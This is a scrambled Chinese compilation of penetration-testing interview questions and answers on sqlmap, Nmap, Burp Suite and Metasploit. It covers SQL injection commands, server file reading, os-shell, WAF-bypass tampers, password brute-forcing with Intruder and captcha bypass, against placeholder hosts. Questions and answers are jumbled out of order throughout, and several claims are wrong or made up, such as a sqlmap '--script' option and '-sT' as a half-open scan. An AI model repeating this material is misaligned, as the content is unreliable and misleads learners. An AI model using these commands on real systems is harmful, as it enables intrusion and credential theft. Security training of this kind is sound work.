标应用程序使用哪种数据库类型,可以使用 `--dbs` 参数列出所有可用的数据库类型。例如,以下命令将列出 SQLmap 可以检测到的所有数据库类型:`sqlmap -u
"http://www.example.com/index.php?id=1" --dbs如果在使用 sqlmap -os-shell 命令时发现无法执行 whoami 命令,这可能是由于目标服务器的安全策略禁止了执行系统命令的操作。在这种情况下,可以尝试使用 sqlmap 提 供的其他命令和功能,例如查找敏感文件、读取配置文件、尝试注入等。如果你想测试目标服务器是否能够访问某个外部主机,可以使用 DNSLog 等在线服务。DNSLog 是一个 免费的在线服务,可以用来测试目标服务器是否能够访问外部主机。你需要在 DNSLog 网站上注册一个账户,并创建一个 DNS 记录。然后,在 SQLmap 中使用 - d 参数指定要 访问的 DNS 记录,例如:sqlmap -u “http://www.example.com/index.php?id=1" –dns-domain=your_dns_record.dnslog.net在上述命令中,-u 参数指定目标 URL,– dns-domain 参数指定要访问的 DNS 记录。SQLmap 将尝试访问指定的 DNS 记录,并报告是否成功。
当目标网站使用 POST 方法时,SQLmap 可以使用 –data 参数指定要注入的 POST 参数。POST 参数通常存储在 HTTP 请求正文中,格式为 name=value,多个参数之间使用 & 连接。例如,以下是一个包含 3 个 POST 参数的示例请求正文:username=admin&password=123456&remember=1在上述请求中,username、password 和 remember 是 POST 参数的名称,分别对应的值为 admin、 123456 和 1 。为了注入这些 POST 参数,可以使用以下命令:sqlmap -u “http://www.example.com/login.php" – data=“username=admin&password=123456&remember=1"在上述命令中,-u 参数指定目标 URL,–data 参数指定要注入的 POST 参数。如果目标网站有很多 POST 参数,可 以使用 –forms 参数列出所有的表单参数,并使用 –form 参数指定要注入的表单参数。例如,以下命令将使用 –forms 参数列出所有表单参数,并使用 –form 参数指定要注 入的表单参数:sqlmap -u “http://www.example.com/login.php" –forms –form “username=admin&password=123456&remember=1"在上述命令中,–forms 参数指示 SQLmap 列出所有表单参数,–form 参数指定要注入的表单参数。如果目标网站有多个表单,可以使用 –forms 参数列出所有的表单,并使用 –current-form 参数指定要注入 的表单。
如果在使用 SQLmap 获取 web shell 后,发现目标服务器有一定的防护措施,例如 WAF,运行 cs 上线时可能会受到限制。此时,可以考虑使用其他技术,例如反弹 shell 或使 用其他工具进行上线。反弹 shell 可以使用 netcat 或 nc 等工具,具体操作可以参考相关教程。另外,可以使用其他工具,例如 Metasploit、Empire、Powershell Empire 等 进行上线,这些工具通常具有更强的隐蔽性和灵活性。需要注意的是,在进行攻击测试时,应该遵守当地的相关法律法规,不要对未经授权的目标进行测试。 关于 SQLmap 如何 使用 - level、-risk、-dbs 和 cookie 参数进行爆破,以下是一些示例命令:
SQLmap 可以使用 –file-read 参数来读取目标服务器上的文件内容。以下是一个使用 –file-read 参数的示例命令,用于读取名为 index.php 的文件内容:sqlmap -u “http://www.example.com/index.php?id=1" –file-read="/var/www/html/index.php"在上述命令中,-u 参数指定目标 URL,–file-read 参数用于指示 SQLmap 读取 指定路径下的文件内容。SQLmap 将尝试读取指定路径下的文件内容,并将其输出到控制台或输出到文件中。需要注意的是,为了成功读取文件内容,目标服务器必须具有足够 的权限访问指定的文件路径。
tamper 是 SQLmap 的一个参数,用于指定自定义的字符混淆技术,可以绕过一些简单的 WAF 防护和 IDS 监测。例如,如果目标网站使用 WAF 对 SQL 注入进行防护,可以使 用 tamper 参数指定 space2comment 混淆技术,将空格转换为注释符号,绕过 WAF 的检测。以下是一个使用 tamper 参数的示例命令,用于绕过空格过滤:sqlmap -u “http://www.example.com/index.php?id=1" –tamper=space2comment在这个例子中,-u 参数指定目标 URL,–tamper 参数指定了一个名为 space2comment 的字符混淆 技术。 SQLmap 的流量特征是指 SQLmap 发送的 HTTP 请求所包含的特殊标识,通常用于检测和防御 SQLmap 的攻击。以下是一些 SQLmap 流量特征:
SQLmap 是一款常用的 SQL 注入工具,其常用的参数命令如下:
1.-u:指定目标 URL,例如 sqlmap -u “http://www.example.com/index.php?id=1"
2.–data:指定 POST 请求的数据,例如 sqlmap –data=“user=admin&password=123456” -u “http://www.example.com/login.php"
十七、sql_map POST 注入的参数有哪些? sqlmap 怎么注出有很多参数的?#
十八、sqlmap 拿到 shell 之后如果有一定的防护怎么上线 cs? sqlmap 怎么用 -level -risk -dbs#
cookie 爆破?#
1. 使用 - level 参数设置测试深度,例如:sqlmap -u "http://www.example.com/index.php?id=1" --level=3。在该命令中,--level 参数设置测试深度为 3 级,即进
行更深入的测试。
2. 使用 - risk 参数设置测试风险级别,例如:sqlmap -u "http://www.example.com/index.php?id=1" --risk=3。在该命令中,--risk 参数设置测试风险级别为 3 级,
即进行更高风险的测试。
3. 使用 - dbs 参数列出所有数据库名称,例如:sqlmap -u "http://www.example.com/index.php?id=1" --dbs。在该命令中,--dbs 参数列出目标网站所有可访问的数据
库名称。
4. 使用 cookie 参数指定 cookie,例如:sqlmap -u "http://www.example.com/index.php?id=1" --cookie="PHPSESSID=123456"。在该命令中,--cookie 参数指定
了一个名为 PHPSESSID 的 cookie 值为 123456 。十九、说一下 Sqlmap 读文件的命令#
二十、sqlmap tamper 知道吗?一般用来做什么? sqlmap 的流量特征是什么?#
User-Agent: SQLMAP:SQLmap 默认使用带有 SQLMAP 字符串的 User-Agent 作为标识。
Cookie 中包含 sqlmap: SQLmap 在发送 HTTP 请求时,可能会将 sqlmap 字符串添加到 Cookie 中,用于标识 SQLmap 的攻击。
特殊的 HTTP 头:SQLmap 可能会在 HTTP 头中使用特殊的标识,例如 X-Forwarded-For 和 X-Original-URL 等,用于绕过一些简单的 WAF 防护。
SQLmap 特有的 SQL 语句:SQLmap 可能会在注入时使用一些特有的 SQL 语句,例如 UNION SELECT 和 SELECT 1,2,3 等,用于检测 SQL 注入和绕过一些简单的防御
措施。 综上所述,为了防御 SQLmap 的攻击,目标网站可以通过检测流量特征来识别和阻止 SQLmap 的攻击。二十一、说一下 sqlmap 扫描常用的参数命令 sqlmap 怎么进行宽字节注入? sqlmap 怎么调用脚#
本绕 waf?#
3.–cookie:指定 Cookie,例如 sqlmap –cookie=“PHPSESSID=123456” -u “http://www.example.com/index.php"
4.-p:指定要测试的参数,例如 sqlmap -u “http://www.example.com/index.php?id=1" -p id
5.–level:指定测试深度,例如 sqlmap -u “http://www.example.com/index.php?id=1" –level=5
6.–risk:指定测试风险级别,例如 sqlmap -u “http://www.example.com/index.php?id=1" –risk=3
7.–batch:批量模式,跳过确认提示,例如 sqlmap -u “http://www.example.com/index.php?id=1" –batch8. –random-agent:随机 User-Agent,例如 sqlmap -u “http://www.example.com/index.php?id=1" –random-agent 关于宽字节注入,它是一种绕过一些简单的字符过滤和防御措施的技术。在 SQLmap 中,可以使用 - tamper 参数指定 utf8 或 utf8mb4 混淆技术来进行宽字节注入。例如,以下是一个使用宽字节注入绕过字符过滤的示例命令:sqlmap -u “http://www.example.com/index.php? id=1” -p id –tamper=“utf8” –technique=U。在该命令中,–tamper 参数指定了一个名为 utf8 的宽字节混淆技术,–technique 参数指定了一种注入技术,U 表示 Unicode 编码注入技术。 关于如何调用脚本绕过 WAF,SQLmap 提供了一个 –script 参数,用于调用自定义脚本。可以编写一个 Python 脚本,实现绕过 WAF 的逻辑,然后 在 SQLmap 中使用 –script 参数指定该脚本。例如,以下是一个调用脚本绕过 WAF 的示例命令:sqlmap -u “http://www.example.com/index.php?id=1" – script=/path/to/script.py。在该命令中,–script 参数指定了一个名为 /path/to/script.py 的 Python 脚本,用于绕过 WAF。需要注意的是,编写脚本需要有一定的 编程经验和安全意识,以确保脚本的正确性和安全性。
OS-shell 是 SQLmap 的一个功能,用于在目标服务器上执行操作系统命令。执行 OS-shell 需要满足以下条件:
Nmap 是一种常用的网络扫描工具,可以用来扫描网络上的主机、端口和服务。Nmap 本身并不是一个漏洞扫描工具,但是它可以配合一些插件来实现漏洞扫描。以下是使用 Nmap 进行漏洞扫描的步骤:
1.确定目标主机和端口
首先,需要确定要扫描的目标主机和端口。可以使用 Nmap 的基本扫描命令 nmap <target> 来扫描目标主机,也可以使用 - p 参数指定要扫描的端口。例如,以下命令将扫描 目标主机的 80 和 443 端口: nmap -p 80,443 <target> 2. 寻找可用的漏洞扫描插件
Nmap 并不自带漏洞扫描插件,但是有很多第三方插件可以用来扫描漏洞。可以在 Nmap 的官方网站或第三方网站上找到这些插件,并下载到本地。
下载好插件后,需要将插件安装到 Nmap 中。通常情况下,插件的安装过程包括将插件文件复制到 Nmap 的插件目录中,并编辑 Nmap 的配置文件以启用插件。
二十二、sqlmap 的一些命令,-r 的用法,多参数值怎么用 sqlmap 测注入?具体说下 sqlmap 里面#
的一些参数、level 参数、cookie 参数#
1. -r 参数用于指定一个保存有 HTTP 请求的文件,以便 SQLmap 对其中的请求进行分析。例如:sqlmap -r /tmp/http-request.txt
2. SQLmap 可以同时测试多个参数,可以使用多个 - p 参数来指定参数,例如:sqlmap -u "http://www.example.com/index.php?id=1" -p id -p name -p email
3. SQLmap 中一些常用的参数有:- u:目标 URL –data:指定 POST 请求的数据
- p:指定要测试的参数 –cookie:指定 Cookie –level:指定测试深度 –risk:指定测试风险级别 –batch:批量模式,跳过确认提示 –random-agent:随机 User-Agent
- –level 参数用于指定测试深度,取值范围为 1 到 5 ,数字越大测试越深入。例如:sqlmap -u “http://www.example.com/index.php?id=1" –level=5
- –cookie 参数用于指定 Cookie,例如:sqlmap –cookie=“PHPSESSID=123456” -u “http://www.example.com/index.php"
二十三、说一下 os-shell 的执行条件#
1. 目标服务器需要是 Linux 或 Unix 系统,因为 OS-shell 使用的是 Bash 或类似的 Shell。Windows 系统不支持 OS-shell。
2. SQLmap 必须已经在目标服务器上获得了足够的权限,能够执行操作系统命令。通常情况下,需要使用 SQLmap 的其他功能,如 SQL 注入、文件读取等,获得足够的权
限。
3. 目标服务器需要安装了一些必要的工具,如 netcat、tar、gzip、ssh 等,以便 SQLmap 在执行命令时可以使用。如果缺少这些工具,SQLmap 可能无法执行 OS-shell。
4. 目标服务器的环境变量需要设置正确,以便 SQLmap 在执行命令时可以找到所需要的文件和路径。例如,如果需要执行 nc 命令,目标服务器的 $PATH 环境变量中需要包
含 nc 命令所在的路径。 需要注意的是,执行 OS-shell 是非常危险的,因为它可以在目标服务器上执行任意命令,可能会导致服务器被入侵、数据泄露等严重后果。因
此,在使用 OS-shell 时,必须非常小心,仔细考虑每个执行的命令,确保其安全性和合法性。建议只在合法授权的情况下使用 OS-shell,遵守当地的相关法律法规。第十五章 NMAP#
一、nmap 如何扫描漏洞?#
3. 下载并安装漏洞扫描插件#
4. 使用漏洞扫描插件进行扫描#
安装好插件后,可以使用 Nmap 的插件扫描命令来运行插件进行漏洞扫描。例如,以下命令将使用 Nmap 的 Vulners 插件来扫描目标主机的漏洞: nmap –script vulners <target> 需要注意的是,漏洞扫描插件的质量和准确性会受到很多因素的影响,如漏洞库的更新、目标系统的版本和配置等。因此,在使用漏洞扫描插件时,需要对扫描结果 进行仔细的分析和验证,以确保结果的准确性和可靠性。
除了扫描 IP,Nmap 还有以下作用:
Nmap 有很多插件可以用来扫描常见系统漏洞,以下是一些常见的插件和对应的命令:1. Vulners 插件:用于扫描 Linux 和 Windows 系统的漏洞,包括 Apache Struts 远程代 码执行漏洞、WordPress SQL 注入漏洞等。命令:nmap –script vulners <target>2. NSE CVE 插件:用于扫描目标主机上存在的已知 CVE 缺陷。命令:nmap –script nse-cve <target>3. SMB 漏洞扫描插件:用于扫描 Windows 系统上的 SMB 漏洞,如 MS08-067、MS17-010 等。命令:nmap -p 139,445 –script smb-vuln-* <target> 除了以上插件,Nmap 还有很多其他的插件可以用来扫描不同类型的漏洞,可以根据具体情况选择使用。此外,Nmap 还可以与其他漏洞扫描工具结合使用,如 OpenVAS、 Nessus 等,以便进行更全面和深入的漏洞扫描。 Nmap 常用的命令有很多,以下是一些常见的命令:1. 基本扫描命令:nmap <target>,用于扫描目标主机的开放端口。2. 特 定端口扫描命令:nmap -p <port> <target>,用于扫描目标主机的特定端口。3. 扫描多个目标命令:nmap <target1> <target2> …,用于同时扫描多个目标主机。4. 操 作系统识别命令:nmap -O <target>,用于识别目标主机的操作系统类型和版本号。5. 服务识别命令:nmap -sV <target>,用于识别目标主机上运行的服务类型和版本号。
- 路由追踪命令:nmap –traceroute <target>,用于追踪数据包从源主机到目标主机的路由路径。7. 脚本扫描命令:nmap –script <script> <target>,用于执行指定 的 Lua 脚本进行自定义的扫描和测试。 需要注意的是,Nmap 的命令和插件非常多,使用时需要根据具体情况选择合适的命令和插件,并仔细阅读官方文档和插件说明,以确保 使用正确和有效。
Nmap 的参数非常多,以下是一些常见的参数和对应的功能:1. -sS:使用 SYN 扫描方式,快速地扫描目标主机的开放端口。2. -sU:使用 UDP 扫描方式,扫描目标主机的开
放 UDP 端口。3. -O:进行操作系统识别,尝试识别目标主机的操作系统类型和版本号。4. -sV:进行服务识别,尝试识别目标主机上运行的服务类型和版本号。5. -A:综合使 用操作系统识别、服务识别等功能,尝试获取尽可能多的信息。6. -p:指定要扫描的端口范围或具体端口号。7. -T:指定扫描的速度和准确度等级。8. –script:指定要使用 的 Nmap 脚本进行漏洞扫描、服务识别等操作。9. -o:将扫描结果保存到文件中。10. -v:输出详细的扫描结果信息。要进行全开放扫描端口的操作,可以使用 - p- 参数,它 可以扫描所有端口。完整命令为 nmap -p- <target>。需要注意的是,全开放扫描端口可能会消耗大量的时间和带宽,同时也可能会触发目标主机上的防御机制,因此应该谨慎 使用。
Nmap 有很多参数,以下是一些常用的参数:1. -sS:使用 SYN 扫描方式,快速地扫描目标主机的开放端口。2. -sT:使用 TCP 扫描方式,扫描目标主机的开放端口,并且比 SYN 扫描方式更稳定。3. -sU:使用 UDP 扫描方式,扫描目标主机的开放 UDP 端口。4. -O:进行操作系统识别,尝试识别目标主机的操作系统类型和版本号。5. -sV:进行服 务识别,尝试识别目标主机上运行的服务类型和版本号。6. -A:综合使用操作系统识别、服务识别等功能,尝试获取尽可能多的信息。7. -p:指定要扫描的端口范围或具体端 口号。8. -T:指定扫描的速度和准确度等级。9. –script:指定要使用的 Nmap 脚本进行漏洞扫描、服务识别等操作。10. -o:将扫描结果保存到文件中。11. -v:输出详细 的扫描结果信息。 sn 是 Nmap 的一种扫描方式,全称是 “ping sweep”。它是一种简单的主机发现技术,通过 ICMP 协议发送 ping 包来判断目标主机是否存活。在 Nmap 中, sn 扫描方式是默认开启的,可以使用 - sn 参数来指定只进行主机发现扫描,不进行端口扫描。 要找主机漏洞,可以使用 Nmap 的漏洞扫描功能。Nmap 提供了很多漏洞扫描脚 本,可以使用 –script vuln 或 –script vulners 参数来扫描目标主机上存在的漏洞。此外,Nmap 还可以与其他漏洞扫描工具结合使用,如 OpenVAS、Nessus 等,以便 进行更全面和深入的漏洞扫描。
Nmap 的扫描方式包括全开扫描和半开扫描两种,它们的区别如下:
二、说一下 nmap 除了扫描 ip 外的作用说一下 nmap 扫描全端口的命令#
1. 端口扫描:Nmap 可以扫描目标主机的开放端口,以便进行渗透测试、漏洞扫描等工作。
2. 操作系统识别:Nmap 可以通过分析目标主机的网络流量,识别出其所使用的操作系统类型和版本号,以便进行渗透测试、漏洞扫描等工作。
3. 服务识别:Nmap 可以识别目标主机上运行的服务类型和版本号,以便进行渗透测试、漏洞扫描等工作。
4. 路由追踪:Nmap 可以通过追踪数据包的路由路径,找出数据包从源主机到目标主机的路径和中间经过的路由器,以便诊断网络问题。
5. 脚本扫描:Nmap 可以使用 Lua 脚本进行自定义的扫描和测试,以便满足特定的需求。扫描全端口的命令是 nmap -p- \<target\>,其中 - p- 参数表示扫描所有端口。需要注意的是,扫描全端口可能会消耗大量的带宽和时间,因此应该谨慎使用。此外,扫描
全端口可能会触发目标防御机制,导致扫描失败或被阻止,因此应该遵守当地的相关法律法规,只在合法授权的情况下进行扫描。三、说一下 nmap 扫描常见系统漏洞的命令 nmap 常用的命令有哪些?#
四、说一下 namp 的一些参数对应功能 nmap 怎么全开放扫描端口?#
五、nmap 有哪些使用参数? nmap 的 sn 什么意思? nmap 怎么找主机漏洞?#
六、说一下 nmap 全开扫描和半开扫描的区别 nmap 除了扫端口还能干啥?#
全开扫描:在扫描时,Nmap 会发送 SYN 和 ACK 包,如果目标主机响应 SYN/ACK 包,就表示该端口处于打开状态;如果目标主机响应 RST 包,就表示该端口处于关闭状
态。全开扫描需要完整的三次握手过程,因此比较容易被目标主机的防火墙和 IDS 检测到,但是它可以更准确地识别端口状态。
半开扫描:在扫描时,Nmap 只发送 SYN 包,如果目标主机响应 SYN/ACK 包,就表示该端口处于打开状态;如果目标主机响应 RST 包,就表示该端口处于关闭状态。半开
扫描只需要进行一次握手过程,因此速度比全开扫描更快,而且不容易被检测到,但是它的准确度可能会降低。除了端口扫描,Nmap 还有很多其他的功能,包括:Nmap 进行半开扫描的参数是 - sS 或 - sT。其中,-sS 参数使用 SYN 包进行半开扫描,-sT 参数使用 TCP 包进行半开扫描。半开扫描不需要完全建立连接,因此速度比全开扫 描更快,但是容易被目标主机的防火墙和 IDS 检测到。
Nmap 可以进行大批量扫描,但是需要注意以下几点:
Burp Suite中提供了将请求报文转为多种语言代码的功能,包括Python代码。具体操作步骤如下:
Burp Suite是一个功能强大的Web应用程序安全测试工具,可以用来进行各种安全测试,包括主动扫描、被动扫描、渗透测试等。在使用Burp Suite进行Web应用程序测试时, 需要了解请求包的头部信息里的各个字段的含义,以及Burp Suite的被动扫描功能。 请求包头部信息的各个字段含义:
Burp Suite是一款强大的Web应用程序安全测试工具,主要功能包括以下几个方面:
操作系统识别:Nmap 可以识别目标主机的操作系统类型和版本号,以便更好地了解目标主机的特征和漏洞。
服务识别:Nmap 可以识别目标主机上运行的服务类型和版本号,以便更好地了解目标主机的功能和漏洞。
指纹识别:Nmap 可以对目标主机进行指纹识别,以便更好地了解主机的应用程序和服务。
漏洞扫描:Nmap 可以使用多个漏洞扫描脚本来扫描目标主机上存在的漏洞。
路由跟踪:Nmap 可以对数据包在网络中的传输路径进行跟踪,以便更好地了解网络拓扑和路由情况。
脚本扫描:Nmap 可以使用 Lua 编写的脚本来自定义扫描和测试,以便更好地适应不同的需求和场景。七、nmap 半开扫参数,怎么扫的?有用 namp 进行大批量扫描吗?说一下 nmap 禁 ping 解决办#
法#
1. 选择合适的扫描方式和参数,以便在保证准确度的同时尽可能地提高扫描速度;#
2. 分批次进行扫描,以免对目标主机造成过多的负荷和影响;#
3. 遵守当地的相关法律法规,只在合法授权的情况下进行扫描。#
如果需要禁止 Nmap 进行 ping 测试,可以使用 - Pn 参数来禁止 Nmap 进行主机发现扫描。此外,还可以使用 - PS、-PA、-PU 等参数来指定使用不同的 ping 包类型进行
主机发现扫描,以便适应不同的网络环境。第十六章 BP#
一、bp 怎么快速将请求报文转为 Python 代码?#
1. 在Burp Suite中打开要转换的请求报文,右键点击请求报文,选择“Copy to file”将报文保存到本地文件中。
2. 打开Burp Suite的“Extender”选项卡,在“Extensions”中搜索“Code Generator”,并安装该扩展。
3. 在Burp Suite中打开要转换的请求报文,右键点击请求报文,选择“Copy as Python-Requests”,即可将请求报文转为Python代码。
4. 将转换后的Python代码粘贴到编辑器中,并根据需要修改代码,如修改请求参数、请求头等。 需要注意的是,转换后的Python代码可能需要进行一些修改才能正常运行,
比如添加引用库、修改请求参数等。另外,转换后的代码可能不是最优化的,需要根据实际情况进行优化。二、说一下 bp 的使用请求包的头部信息里的各个字段的含义说一下 bp 的被动扫描#
1. Request Method:请求方式,包括GET、POST、PUT、DELETE等。
2. Request URL:请求的URL地址。
3. Request Headers:请求头部信息,包括User-Agent、Referer、Cookie等。
4. Request Body:请求体,包括表单数据、JSON数据等。Burp Suite的被动扫描功能: Burp Suite的被动扫描功能可以在拦截到Web应用程序请求和响应时自动进行分析,以检测可能存在的漏洞。被动扫描功能不会主动发送攻击
请求,只会对拦截到的请求和响应进行分析,并给出相应的提示和建议。 被动扫描功能主要包括以下几个方面:
1.识别应用程序漏洞:被动扫描功能可以识别Web应用程序中可能存在的漏洞,包括SQL注入、XSS、CSRF等。
2.检测应用程序配置错误:被动扫描功能可以检测Web应用程序中可能存在的配置错误,如文件权限设置不当、敏感信息泄露等。
3.分析应用程序逻辑:被动扫描功能可以分析Web应用程序的逻辑,以检测可能存在的逻辑漏洞,如密码重置漏洞、逻辑错误等。
4.检测应用程序性能问题:被动扫描功能可以检测Web应用程序中可能存在的性能问题,如响应时间过长、缓存配置不当等。 需要注意的是,被动扫描功能只能检测已知的
漏洞和问题,不能发现未知的漏洞和问题。因此,在进行Web应用程序测试时,需要结合主动扫描、渗透测试等多种方法,以发现更多的漏洞和问题。三、说一下 bp 的几个功能,爆破模块 md5 加密怎么处理?#
1.代理模块:Burp Suite可以作为代理服务器,拦截和修改HTTP/HTTPS请求和响应,用于发现和利用Web应用程序漏洞。2. 被动扫描:Burp Suite可以对拦截到的请求和响应进 行被动扫描,自动发现Web应用程序漏洞。3. 主动扫描:Burp Suite可以对目标Web应用程序进行主动扫描,发现Web应用程序的漏洞和问题。4. 渗透测试:Burp Suite提供了 多种工具和功能,用于进行渗透测试,如Intruder、Repeater、Sequencer等。 在Burp Suite中进行MD5加密爆破时,可以使用Intruder模块。具体步骤如下:
打开Burp Suite,选择要进行MD5加密爆破的请求包,右键选择“Send to Intruder”。2. 在Intruder模块中,选择要爆破的字段,如密码字段,然后选择“Payloads”选项卡,在 “Payload type”下拉框中选择“Simple list”。3. 在“Payload Options”中输入要爆破的密码列表,然后在“Options”选项卡中选择“MD5”加密方式。4. 点击“Start attack”按钮,等待 爆破结果。 需要注意的是,MD5加密是不可逆的,因此无法通过爆破获取密码明文,只能通过猜测或者字典攻击等方法来获取密码。另外,进行密码爆破时需要遵守法律和道德 规范,不得进行非法攻击。
如果在Burp Suite中进行账户名密码爆破时,发现账户名和密码都是经过编码的,可以尝试使用Burp Suite提供的解码工具来解码,以获取账户名密码明文。 具体步骤如下:
Burp Suite是一款功能强大的Web应用程序安全测试工具,主要用于Web应用程序的安全测试、渗透测试等。下面是使用Burp Suite进行用户名密码爆破的步骤:1. 打开Burp Suite,选择“Proxy”模块,启用拦截功能。2. 在浏览器中输入要爆破的Web应用程序的URL地址,登录页面会被Burp Suite拦截。3. 在登录页面中输入要爆破的账户名和密码,点 击“登录”按钮,Burp Suite会拦截到登录请求。4. 右键点击被拦截的请求,选择“Send to Intruder”。5. 在Intruder模块中,选择要爆破的账户名和密码字段,点击“Payloads”选 项卡。6. 在“Payload Options”中输入要爆破的账户名和密码列表,然后在“Options”选项卡中选择要使用的爆破方式。7. 点击“Start attack”按钮,等待爆破结果。
Burp Suite提供了多种爆破方式,如以下 4 个选项:1. Sniper:逐个发送所有payload的请求,并在结果中查找匹配项。2. Battering Ram:使用每个负载对目标发送大量请求, 以尝试找到匹配项。3. Pitchfork:使用两个或更多负载来构建请求,以尝试找到匹配项。4. Cluster Bomb:使用两个或更多负载列表,每个负载列表都会发送大量请求,以尝试 找到匹配项。以上四个选项的作用分别是:逐个发送payload、大量发送请求、使用多个payload构建请求、使用多个负载列表发送请求。根据实际情况选择合适的爆破方式,可 以提高爆破效率。
Burp Suite 的爆破模块包括以下几种模式:
1.Cluster Bomb:使用两个或多个负载列表,并通过将每个负载列表中的每个负载组合来构建请求,以尝试找到匹配项。
2.Battering Ram:使用每个负载对目标发送大量请求,以尝试找到匹配项。
3.Pitchfork:使用两个或多个负载来构建请求,以尝试找到匹配项。
4.Sniper:逐个发送所有负载的请求,并在结果中查找匹配项。
5.Username Enumeration:使用用户名列表枚举目标的用户账户名。
6.Password Spraying:使用一组常见密码或密码列表来尝试登录目标。
使用Burp抓包的过程如下:
Burp Scanner扫描:Burp Scanner是Burp Suite中的一款强大的Web应用程序漏洞扫描工具,可以自动检测Web应用程序中的各种漏洞,如SQL注入、跨站点脚本攻击、文件包 含漏洞等。使用Burp Scanner时,需要先在“Target”选项卡中添加要扫描的目标URL,然后在“Scanner”选项卡中选择要进行的扫描类型,如Active Scan、Passive Scan、Spider Scan等。
四、bp 爆破账户名密码时,都是经过编码的怎么办?#
1. 在Burp Suite中,选择要进行爆破的请求包,右键选择“Send to Decoder”。
2. 在Decoder模块中,选择要解码的编码方式,如Base64、URL编码、HTML编码等。
3. 将经过编码的账户名和密码复制到Decoder模块中的“Encoded data”输入框中。
4. 点击“Decode”按钮,即可在“Decoded data”输出框中获取解码后的账户名密码明文。 需要注意的是,如果账户名密码经过了加密处理,而不是编码处理,那么只能通过破
解加密算法或者使用暴力破解等方法来获取账户名密码明文。五、bp 怎么用,如何用 bp 同时爆破用户名和密码,用哪个模块?说一下 Bp 爆破 4 个选项的作用#
六、burpsuite 的爆破模块有哪些模式?说一下使用 burp 抓包的过程#
1. 打开Burp Suite,点击“Proxy”选项卡,启用拦截功能。
2. 在浏览器中输入要测试的Web应用程序的URL地址,Burp Suite会拦截请求并显示在Proxy选项卡中。
3. 点击拦截到的请求,可以在“Request”和“Response”选项卡中查看请求和响应的详细信息。
4. 如需修改请求参数或添加新参数,可以在“Request”选项卡中进行修改。
5. 如需进行被动扫描或主动扫描,可以在“Target”选项卡中添加目标URL或使用自动发现功能。
6. 如需使用其他模块或工具,可以在相应的选项卡中选择,如“Scanner”、“Intruder”、“Repeater”等。
7. 测试完成后,可以在“Proxy”选项卡中保存请求和响应,或者导出测试报告。 需要注意的是,在使用Burp Suite进行安全测试时,需要遵守法律和道德规范,不得进行非法
攻击。七、说一下 burp 的 scanner 扫描以及爆破的四种方式 tomcat 的 war 包在 bp 里面怎么构造?#
爆破的四种方式:Burp Suite提供了四种爆破方式,分别是:- Sniper:逐个发送所有Payload的请求,并在结果中查找匹配项。- Battering Ram:使用每个Payload对目标发送 大量请求,以尝试找到匹配项。- Pitchfork:使用两个或更多Payload来构建请求,以尝试找到匹配项。- Cluster Bomb:使用两个或更多Payload列表,每个Payload列表都会发 送大量请求,以尝试找到匹配项。
Tomcat War包在bp里面的构造:要在Burp Suite中构造Tomcat War包,可以使用“Extender”模块中的“Intruder”工具。首先,将War包上传到目标服务器上,并在Burp Suite 中启用拦截功能。然后,在浏览器中访问War包的URL地址,Burp Suite会拦截请求并显示在“Intruder”工具中。在“Intruder”工具中,选择要爆破的参数,如用户名和密码,然后 在“Payloads”选项卡中输入要爆破的Payload列表。最后,在“Options”选项卡中选择要使用的爆破方式,如Sniper、Battering Ram、Pitchfork或Cluster Bomb,并点击“Start attack”按钮进行爆破。
Burp Suite的爆破模块中的第 4 个选项"Cluster Bomb"是一种集束炸弹爆破方式,它使用两个或多个负载列表,并通过将每个负载列表中的每个负载组合来构建请求,以尝试找到 匹配项。具体地说,它会对每个负载列表中的每个负载进行组合,生成一组请求,并对这组请求进行爆破。因此,使用集束炸弹可以极大地扩展爆破的范围,提高爆破的效率。 但是,由于它会生成大量的请求,因此需要注意控制爆破的速度,以免给目标服务器带来过多的负担。
使用Burp Suite进行密码爆破,可以使用Burp Suite的"Intruder"模块。具体操作步骤如下:
尝试绕过验证码或Token的方式主要有以下几种:
Metasploit Framework (MSF) 是一款开源的渗透测试工具,主要用于开发和执行漏洞利用模块。MSF提供了一套完整的工具链,包括扫描器、漏洞利用工具、漏洞验证工具、后 门工具等。 在使用MSF时,通常需要进行以下几个步骤:1. 扫描目标:使用MSF的扫描工具,如Nmap、OpenVAS等,对目标进行扫描,获取目标系统的信息。2. 漏洞检测:使 用MSF的漏洞检测工具,如Nessus、OpenVAS等,对目标系统进行漏洞检测,发现可利用的漏洞。3. 漏洞利用:使用MSF的漏洞利用模块,对目标系统进行攻击,获取目标系统 的控制权。4. 后渗透:使用MSF的后门工具,对目标系统进行持久化控制或者横向渗透。
MSF端口的作用:MSF框架有 4 个默认监听端口,分别是:1. 4444端口:这个端口是MSF的远程控制端口,可以使用MSF的控制台或其他工具连接到这个端口,进行MSF的远程#
控制。2. 55553端口:这个端口是MSF的RPC端口,用于MSF内部模块之间的通信。3. 80端口:这个端口是MSF的Web管理界面端口,用于通过Web方式管理和控制MSF。4. 443 端口:这个端口是MSF的SSL Web管理界面端口,用于通过Web方式安全地管理和控制MSF。 除了默认的监听端口,MSF还可以使用其他端口进行攻击和监听,例如通过使 用MSF的payload监听端口来监听反弹shell等。 总之,MSF的端口主要用于控制、通信、Web管理和监听等方面,使用不同的端口可以实现不同的功能。
八、bp 的爆破模块中第 4 个选项集束炸弹是怎么用的?作用是啥?#
九、如何用 bp 暴力破解密码?你用过哪些模块?给你 5 个用户名, 5000 个密码你如何进行爆破?对#
于 bp 两个返回包长度相同的时候如何判断?#
1. 打开Burp Suite,点击"Intruder"选项卡,然后选择要爆破的目标URL。
2. 在"Intruder"选项卡中,选择要爆破的参数,如用户名和密码。
3. 在"Payloads"选项卡中,输入要爆破的Payload列表,如 5000 个密码。
4. 在"Options"选项卡中,选择要使用的爆破方式,如Sniper、Battering Ram、Pitchfork或Cluster Bomb。
5. 点击"Start attack"按钮开始爆破。 对于 5 个用户名和 5000 个密码的情况下,可以将 5 个用户名作为Payload列表的一部分,然后将 5000 个密码作为另一部分,使用Cluster
Bomb爆破方式进行爆破。对于Burp Suite中两个返回包长度相同的情况,可以通过以下几种方式进行判断:
1.比较返回包的内容,看是否完全一致。
2.比较返回包的HTTP状态码,看是否一致。
3.比较返回包的时间戳,看是否一致。
4.比较返回包的HTTP头信息,看是否一致。
5.比较返回包的Cookie信息,看是否一致。 以上几种方式可以根据实际情况选择使用,以判断两个返回包是否相同。十、bp 怎么绕过验证码或者绕过 token?#
1. 手动输入或获取验证码或Token:如果验证码或Token是通过输入或获取的方式生成的,可以尝试手动输入或获取。例如,可以使用人工识别验证码或者使用Burp Suite的
“Repeater”模块手动输入Token。
2. 自动化工具绕过:可以使用自动化工具进行验证码或Token绕过,例如使用OCR识别验证码,或者使用Burp Suite的“Intruder”模块进行爆破Token。
